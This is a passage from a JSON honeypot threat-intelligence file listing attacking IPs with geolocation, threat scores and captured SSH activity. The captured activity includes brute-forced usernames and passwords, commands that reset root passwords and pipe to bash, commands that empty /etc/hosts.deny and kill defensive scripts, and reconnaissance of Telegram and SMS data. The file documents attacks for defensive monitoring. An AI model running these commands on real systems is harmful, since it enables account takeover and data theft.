      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T10:59:45.467000+00:00",
        "last_seen_30d": "2026-05-18T11:30:00.770000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "181.189.97.88": {
      "attack_count": 158,
      "first_seen": "2026-05-18T22:22:37.746Z",
      "last_seen": "2026-05-19T12:55:20.157Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Tabo\u00e3o da Serra",
      "asn": 271475,
      "as_org": "Fox Connecta",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:22:37.746000+00:00",
        "last_seen_30d": "2026-05-19T12:56:21.857000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 80
      }
    },
    "103.186.139.149": {
      "attack_count": 144,
      "first_seen": "2026-05-30T19:41:43.950Z",
      "last_seen": "2026-05-30T20:10:50.014Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "lc",
        "345gs5662d34",
        "dell",
        "devuser",
        "manasa",
        "mysql",
        "ozzy",
        "shyam",
        "test",
        "user3",
        "usertest",
        "zte"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "12345@Admin",
        "321321321",
        "3245gs5662d34",
        "345gs5662d34",
        "Ab123456@",
        "Gy123456",
        "admin@123",
        "devuser123!",
        "lc",
        "manasa123",
        "mysql",
        "ozzy",
        "qwe",
        "shyam",
        "zte"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"lc\\n91w63f59L1mF\\n91w63f59L1mF\\n\"|passwd",
        "echo -e \"lc\\n91w63f59L1mF\\n91w63f59L1mF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Naic",
      "asn": 135325,
      "as_org": "EWS DS Networks Inc",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:41:43.950000+00:00",
        "last_seen_30d": "2026-05-30T20:11:57.276000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 41
      }
    },
    "101.47.158.56": {
      "attack_count": 143,
      "first_seen": "2026-05-24T05:46:38.252Z",
      "last_seen": "2026-05-24T06:41:39.270Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "github-runner",
        "library",
        "msf",
        "omnia",
        "software",
        "teamspeak",
        "test",
        "test1",
        "user",
        "vboxuser"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456789",
        "123@abcd",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd..",
        "Sugipula123$",
        "changeme",
        "library",
        "msfpass",
        "omnia123",
        "password",
        "qwer!234",
        "software123",
        "test@1234",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:EVzxymJSeB47\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T05:46:38.252000+00:00",
        "last_seen_30d": "2026-05-24T06:42:48.108000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "170.82.129.8": {
      "attack_count": 143,
      "first_seen": "2026-05-30T01:39:37.466Z",
      "last_seen": "2026-05-30T02:09:43.468Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "david",
        "db2inst1",
        "dinesh",
        "git",
        "mac",
        "rony",
        "rootadmin"
      ],
      "passwords_attempted": [
        "111...aaa",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456~",
        "Git@2024",
        "P@ssw0rd",
        "Zz123456",
        "`1qaz2wsx",
        "abracadabra",
        "cde3@WSXzaq1",
        "david2025",
        "dinesh",
        "gofuckyourself",
        "password",
        "password!!",
        "rony"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ENDTBBITKJHo\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": null,
      "asn": 262237,
      "as_org": "Orbyta S.A.",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:39:37.466000+00:00",
        "last_seen_30d": "2026-05-30T02:10:48.208000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "157.15.73.34": {
      "attack_count": 136,
      "first_seen": "2026-05-24T19:11:00.618Z",
      "last_seen": "2026-05-24T20:44:56.026Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "intel",
        "adminuser",
        "cloud",
        "geo",
        "httpd",
        "iksi",
        "jessica",
        "liu",
        "ray",
        "sun",
        "ttx"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1004",
        "123456",
        "123pls123A!",
        "Aa666666",
        "Bb123456@",
        "MoeClub.org",
        "Password2005",
        "Qwertyuiop123",
        "Wangsu@2017",
        "admin123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "geo",
        "jessica123!",
        "ray123",
        "rooty",
        "ttx2011"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150187,
      "as_org": "PT Indo Teknologi Konstruksi",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T19:11:00.618000+00:00",
        "last_seen_30d": "2026-05-24T20:46:03.696000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 59
      }
    },
    "103.112.173.87": {
      "attack_count": 134,
      "first_seen": "2026-05-24T10:46:01.443Z",
      "last_seen": "2026-05-24T12:12:39.778Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "tanvir",
        "345gs5662d34",
        "bitrix",
        "kirin",
        "mamad",
        "proxyuser",
        "pula",
        "r00t",
        "testt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "@Admin123",
        "@WSX4rfv",
        "A@0599343813A@0599343813A@0599343813",
        "AAA123aaa",
        "P@ssw0rd",
        "Passw0rd!123",
        "Server@2024",
        "kirin",
        "mamad123",
        "password",
        "pula123",
        "tanvir",
        "testt"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"tanvir\\nu86Kuv7nzKIi\\nu86Kuv7nzKIi\\n\"|passwd",
        "echo -e \"tanvir\\nu86Kuv7nzKIi\\nu86Kuv7nzKIi\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:46:01.443000+00:00",
        "last_seen_30d": "2026-05-24T12:13:49.255000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 44
      }
    },
    "4.157.250.195": {
      "attack_count": 128,
      "first_seen": "2026-05-23T16:05:14.610Z",
      "last_seen": "2026-05-23T17:42:21.662Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "github-runner",
        "manager",
        "mysql",
        "postgres",
        "smb",
        "zihan"
      ],
      "passwords_attempted": [
        "01020304",
        "123",
        "123!@#QWEqwe",
        "3245gs5662d34",
        "345gs5662d34",
        "P@$$w0rd1234",
        "Password123!",
        "admin123",
        "aini130.",
        "qwe123",
        "root123456*",
        "smb",
        "tttttt",
        "zihan"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GTvkQ8L1neHc\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:05:14.610000+00:00",
        "last_seen_30d": "2026-05-23T17:43:28.184000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 40
      }
    },
    "92.113.151.146": {
      "attack_count": 124,
      "first_seen": "2026-05-28T23:10:56.715Z",
      "last_seen": "2026-05-28T23:26:09.748Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "deployer",
        "jacob",
        "mata",
        "mob"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@123456..",
        "Huawei@5tgb",
        "aa11223344",
        "admin2020",
        "ankit123",
        "deployer",
        "fjbdfdjkdsfs541544",
        "jacob123",
        "mata",
        "mob",
        "null"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fjbdfdjkdsfs541544\\nL3HAUps86Q1M\\nL3HAUps86Q1M\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nL3HAUps86Q1M\\nL3HAUps86Q1M\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": "N\u00f8rre \u00c5by",
      "asn": 44803,
      "as_org": "Webdock.io ApS",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T23:10:56.715000+00:00",
        "last_seen_30d": "2026-05-28T23:27:10.423000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 29
      }
    },
    "119.156.28.157": {
      "attack_count": 113,
      "first_seen": "2026-05-18T18:41:46.536Z",
      "last_seen": "2026-05-18T18:59:29.081Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$1234QWER",
        "123456qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "Tech$123",
        "WW123456.",
        "hong123",
        "miranda",
        "nelson",
        "rock",
        "zywang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yoYCKkfHO8Y4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujrat",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:41:46.536000+00:00",
        "last_seen_30d": "2026-05-18T19:00:38.964000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 25
      }
    },
    "103.173.7.230": {
      "attack_count": 98,
      "first_seen": "2026-05-19T17:10:52.165Z",
      "last_seen": "2026-05-28T14:14:26.845Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T17:10:52.165000+00:00",
        "last_seen_30d": "2026-05-28T14:15:29.972000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 51
      }
    },
    "154.59.207.214": {
      "attack_count": 98,
      "first_seen": "2026-05-24T02:44:13.829Z",
      "last_seen": "2026-05-24T03:33:32.910Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo Este",
      "asn": 273217,
      "as_org": "ACOLME TECH, SRL",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:44:13.829000+00:00",
        "last_seen_30d": "2026-05-24T03:34:41.380000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 57
      }
    },
    "34.77.138.51": {
      "attack_count": 73,
      "first_seen": "2026-05-16T06:18:26.112Z",
      "last_seen": "2026-05-16T06:19:01.438Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1479",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T06:18:26.112000+00:00",
        "last_seen_30d": "2026-05-16T06:20:11.387000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "34.52.197.248": {
      "attack_count": 72,
      "first_seen": "2026-05-07T10:19:52.840Z",
      "last_seen": "2026-05-07T10:20:46.201Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2474",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:19:52.840000+00:00",
        "last_seen_30d": "2026-05-07T10:21:56.149000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "222.108.39.109": {
      "attack_count": 69,
      "first_seen": "2026-05-15T06:39:34.531Z",
      "last_seen": "2026-05-30T00:29:05.826Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "12345",
        "admin",
        "guest"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Guro-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T06:39:34.531000+00:00",
        "last_seen_30d": "2026-05-30T00:30:15.560000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 69,
        "Suricata": 8
      }
    },
    "107.175.141.21": {
      "attack_count": 66,
      "first_seen": "2026-05-04T21:50:32.211Z",
      "last_seen": "2026-05-21T04:27:06.729Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T21:50:32.211000+00:00",
        "last_seen_30d": "2026-05-21T04:28:08.537000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "209.141.34.44": {
      "attack_count": 42,
      "first_seen": "2026-05-12T11:08:34.511Z",
      "last_seen": "2026-05-28T01:56:49.160Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
